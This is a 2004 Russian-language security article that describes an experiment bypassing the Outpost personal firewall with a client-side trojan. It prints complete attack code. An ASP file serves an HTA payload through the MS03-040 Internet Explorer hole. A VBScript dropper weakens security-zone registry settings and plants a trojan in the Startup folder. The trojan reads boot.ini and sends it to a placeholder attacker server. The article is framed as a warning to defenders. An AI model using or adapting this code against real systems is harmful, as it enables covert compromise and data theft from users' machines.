28.07.2004

Причмокивание опоссума

«Что за чушь», - воскликнет читатель, «Что он хотел от Outpost, это же всего лишь firewall!». И будет прав. Целью данной статьи было не охаять этот неплохой, в общем-то, продукт, но продемонстрировать некоторые современные техники используемые «плохими парнями» уже который год, но незнакомые большинству безопасников. Кроме того, хотелось бы лишний раз повторить фразу, сказанную кем-то из великих: «Панацей не существует, и только комплексный поход к защите может помочь снизить риски, связанные с использованием информационных технологий в бизнесе. Именно снизить, но не в коем случае не исключить».
17596 просмотров за 1 неделю

«Внезапно из-за кустов раздалось странное стаккато, звук, который я до сих пор не слышал, ряд громких, отрывистых О-О-О; первый звук О был подчеркнутый, с ударением и отделен от последующих отчетливой паузой. Звук повторялся вновь и вновь, а через две или три минуты я понял, что было его причиной. Ди Джи причмокивал опоссумом»

Lame@pochta.ru

Перед тем, как приступить к изложению, мне хотелось бы немного рассказать о причинах, побудивших меня произвести описываемый ниже эксперимент.

Преамбула

Не так давно в эхо-конференции fido7.ru.security поднялся нешуточный флейм, с совершенно неприличным subj’ем «Тупой админ и секьюрити». В нем некто с пеной у рта доказывал, что персональные межсетевые экраны есть магическое средство, этакая панацея, спасающая всех и вся от всевозможных сетевых угроз. Причем уровень их «очень сильного колдунства» таков, что другие средства защиты практически не нужны. Даже корпоративный межсетевой экран, и тот становится вещью опциональной.

Поначалу флейм меня только развлекал, поскольку всегда найдется наивный человек, обнаруживший «Big Red Button», использование которой кажется ему единственным и самым верным путем. Видимо – пережитки коммунизма в сознании. Однако в разговоре появилось две реплики (ссылки см. ниже), которые заставили меня насторожиться.

http://ecotech.sinn.ru/newsgate/article.php/157.ru.security/4787.html

http://ecotech.sinn.ru/newsgate/article.php/157.ru.security/4818.html

Неужели pfw стали настолько продуманны, что защищенные ими машины не могут быть использованы для организации надежного канала утечки информации из корпоративной сети? Это меня несколько расстроило, и я решил провести эксперимент, описание которого и проводится ниже.

Введение

В эксперименте использовалась одна из вариаций Client Access Trojan, или по-простому – CAT. В чем смысл этой технологии?

Дело в том, что злым хакерам, при проникновении в корпоративные сети не выгодно ломать серверы. На них обычно стоят разные дорогущие средства защиты, за ними следят администраторы, возможно, кто-то даже почитывает журнал событий. Представьте – ставишь ты на IIS Hacker Defender, а на той стороне злобный Real Secure Server Sensor начинает кричать на весь Интранет, что де его пациента поломали.

Поэтому многие умные хакеры начали подламывать клиентов корпоративных сетей, благо защищаются они гораздо слабее и в их систем защиты есть одно очень слабое место – человек, нажимающий кнопки. Поставив такому человеку троянскую программу, мы получаем доступ к интрасети с правами взломанного пользователя. А этого зачастую для выполнения практических задач промышленного шпионажа или дальнейшего развития атаки.

Но возникает одна проблема – как доставить полученные данные на свою машину, как передавать команды, т.е. как управлять серверной частью Трояна? Традиционные реверс-шелл сейчас проходит очень редко. Большинство компаний обзавелось требующими аутентификации на уровне пользователя Proxy-серверами, или теми же персональными межсетевыми экранами, контролирующими сетевую активность софта или того хуже – системами offline-работы с Internet. Что такое offline-система?

Это два шлюза, один из которых подключен к сети Интернет, а второй к внутренней сети. Между ними, как полагается – воздушный зазор на сетевом уровне, но есть общий дисковый массив, подключенный через fire-wire или другой интерфейс. Предположим, вы открываете браузер и посылаете запрос на сервере www.securitylab.ru. Этот запрос поступает на внутренний шлюз, который монтирует дисковую стойку и сохраняет запрос на ней. Через некоторое время внешний шлюз подключает стойку, считывает поступившие запросы и загружает данные из сети, после чего сохраняет их на общем диске. Затем в работу снова вступает внутренний шлюз и отсылает полученную страницу вам. И нечего смеяться, такие системы существуют и даже лицензируются ГТК.

Так вот, простой реверс-шел тут бесполезен. Однако существует одна старая как мир идея – попросить клиентское программное обеспечение выполнить всю грязную сетевую работу, используя те приемы, которые заложил в неё разработчик.

Именно этот подход и используется CAT. Обычно, для этих дел запускается Internet Explorer (или ищется в памяти уже существующий экземпляр), которому посылается запрос на получение необходимой информации (команд к Трою) из сети или на сохранение на удаленном сервере полученной информации. Подобные системы проходят через современные межсетевые экраны как горячий нож сквозь масло.

И тут появляется «мега-файрвол», ломающий эту приятную для взгляда картину. Что ж, решил я, надо проверить, так ли это.

Тестовая среда

В качестве тестовой среды использовалась небольшая корпоративная сеть с выходом в Интернет через Proxy-сервер, требующий аутентификации (MS ISA Server 2004). Клиентские машины (W2K3, W2K) с Internet Explorer без патча MS03-040 (поскольку именно эту дырку я использовал в эксперименте) настроены на автоматическую аутентификацию при обращении к Proxy (SSO – рулез! Ага.).

На каждой машине установлен Agnium Outpost 2.1.303.314 (что было на сервере, то и взял), с настройками по умолчанию (чистая конфигурация, режим обучения). На каждой машине разрешено пользоваться IE (на вопрос Outpost было сказано «Создать правило на основе стандартного»).

Подготовка

Для установки Трояна использовалась указанная выше уязвимость, т.е. на «плохой» странице присутствовал тег подобного вида:

<object data="ouch.asp">

Необязательно это был «плохой» сервер хакера. В его роли мог выступать любой Web-сервере, уязвимый для атак XSS, например, тот же google (http://seclists.org/lists/fulldisclosure/2004/Jul/1128.html). Не знаю, почему, но многие разработчики недооценивают опасность xss, ну подумаешь, alert(document.cookie). Хотя на самом деле этот класс уязвимостей может использоваться очень широко, вплоть до захвата контроля над клиентом или временного дефейса сайта.

Содержимое файла ouch.asp приведено ниже.

контент ouch.asp ниже:


**************************begin ouch.asp***************** 
<%

Response.AddHeader "Content-Type","application/hta"

Set fso = CreateObject("Scripting.FileSystemObject")
pth = "c:/inetpub/wwwroot/ie_bugs/object/ouch.php"
Set f = fso.OpenTextFile(pth)
while Not f.AtEndOfStream
 S = f.ReadLine

Response.Write(S+VBCRLF)

Wend
f.Close
%>
**************************end ouch.asp*****************

Т.е. он тривиально считывает с диска содержимое файла ouch.php и передает его клиенту, указав в качестве типа содержимого application/hta. Клиент получает этот файл и выполняет его в зоне безопасности My Computer. Печально...

Файл ouch.php состоит из 3х частей: Трояна, дропера и маленькой утилиты hide.exe, прячущей основное окно троянской программы. Метод доставки её ничем не отличается от классических методов эксплуатации подобных дырок, в связи с чем, код доставки выкинут. Сама программа приложена к статье.

**************************begin ouch.php***************** 

THIS CODE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND 
AND CAN BE USED FOR EDUCATIONAL PURPOSES ONLY.

ДАННЫЙ КОД ПОСТАВЛЯЕТСЯ "КАК ЕСТЬ" И МОЖЕТ БЫТЬ 
ИСПОЛЬЗОВАН ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯ. 
АВТОРУ ГЛУБОКО ПЛЕВАТЬ НА ВОЗМОЖНОЕ ИСПОЛЬЗОВАНИЕ 
ДАННОГО КОДА, ПОСКОЛЬКУ ОТВЕТСТВЕННОСТИ ЗА НЕГО 
ОН НЕ НЕСЕТ,  А НЕСЕТ В ОСНОВНОМ ЧУШЬ. 


<iframe id="reg">Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet 
Settings\Zones\0]

"1001"=dword:00000000
"1004"=dword:00000000
"1200"=dword:00000000
"1201"=dword:00000000
"1206"=dword:00000000
</iframe>


<iframe id="troj">
<script language=vbscript>

self.MoveTo 5000,5000

Set WshShell = CreateObject("WScript.Shell")
Set WshSysEnv = WshShell.Environment("PROCESS")
strSystem = WshSysEnv("SYSTEMROOT") 

WshShell.run(strSystem&"\troj\hide.exe ""troj.html - Mic""")

ss = ""
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:\\boot.ini", 1, False)
While Not f.atEndOfStream
	s = f.ReadLine
	ss=ss+"<br>"+s
Wend

document.location.href="http://<badserver>/getfile.asp?"&ss

</script>


</iframe>

<script language=vbscript>

self.MoveTo 5000,5000

Set WshShell = CreateObject("WScript.Shell")
Set WshSysEnv = WshShell.Environment("PROCESS")
strSystem = WshSysEnv("SYSTEMROOT") 
strProfile =  WshSysEnv("USERPROFILE")


Set fso = CreateObject("Scripting.FileSystemObject")
if Not fso.FolderExists(strSystem&"\troj") 
                Then set fo = fso.CreateFolder(strSystem&"\troj") 

Set f = fso.CreateTextFile(strProfile&"\
Start Menu\Programs\Startup\troj.html", true)

f.Write(document.getElementById("troj").innerhtml)
f.Close
strRegfile=strSystem&"\troj\ie.reg"
Set f = fso.CreateTextFile(strRegfile, true)
f.Write(document.getElementById("reg").innerhtml)
f.Close

WshShell.Run("regedit -s "&strRegfile)

</script>

**************************end ouch.php*****************

Первая часть файла (iframe reg) содержит исходный код файла реестра Windows, который используется для модификации настроек зоны безопасности «My Computer». Дело в том, что если вы запустите HTML файл, содержащий script, вызывающий функции подобные Set WshShell = CreateObject("WScript.Shell"), Internet Explorer выведет предупреждение о использовании ActiveX, которое нам совсем ненужно. Содержимое iframe сохраняется дропером на диске, а затем заносится в реестр командой regedit –s .

Вторая часть файла (iframe troj), собственно – сам Троян. В данном варианте он не делает ничего, только считывает содержимое файла boot.ini, и отправляет его на сервер злоумышленника в Query String запроса GET. Существует и более функциональные модули, работающие со злоумышленником через почтовые сервисы типа mail.ru. Содержимое iframe сохраняется дроппером в папке Startup профиля текущего пользователя и соответственно файл запускается при входе пользователя в систему.

Ну и последняя часть – сам дроппер. Сохраняющий файлы, модифицирующий реестр и вообще безобидный.

Эксперимент

Итак, пользователь заходит на сервер, ему устанавливается Троян, и после выхода-входа в систему Троян сохраняет на сервере содержимое файла C:\boot.ini. Что подтверждается журналами сервера и сохраненными getfile.asp данными.

А что Outpost, спросит читатель? Не пискнул даже. Даже не хрюкнул. В его логах мирно светились обращения к корпоративному Proxy-серверу.

Заключение

«Что за чушь», - воскликнет читатель, «Что он хотел от Outpost, это же всего лишь firewall!». И будет прав. Целью данной статьи было не охаять этот неплохой, в общем-то, продукт, но продемонстрировать некоторые современные техники используемые «плохими парнями» уже который год, но незнакомые большинству безопасников. Кроме того, хотелось бы лишний раз повторить фразу, сказанную кем-то из великих:

«Панацей не существует, и только комплексный поход к защите может помочь снизить риски, связанные с использованием информационных технологий в бизнесе. Именно снизить, но не в коем случае не исключить».

Учебный центр "Информзащита" http://www.itsecurity.ru - ведущий специализированный центр в области обучения информационной безопасности (Лицензия Московского Комитета образования № 015470, Государственная аккредитация № 004251). Единственный авторизованный учебный центр компаний Internet Security Systems и Clearswift на территории России и стран СНГ. Авторизованный учебный центр компании Microsoft (специализация Security). Программы обучения согласованы с Гостехкомиссией России, ФСБ (ФАПСИ). Свидетельства об обучении и государственные документы о повышении квалификации.

Компания SoftKey – это уникальный сервис для покупателей, разработчиков, дилеров и аффилиат–партнеров. Кроме того, это один из лучших Интернет-магазинов ПО в России, Украине, Казахстане, который предлагает покупателям широкий ассортимент, множество способов оплаты, оперативную (часто мгновенную) обработку заказа, отслеживание процесса выполнения заказа в персональном разделе, различные скидки от магазина и производителей ПО.

или введите имя

CAPTCHA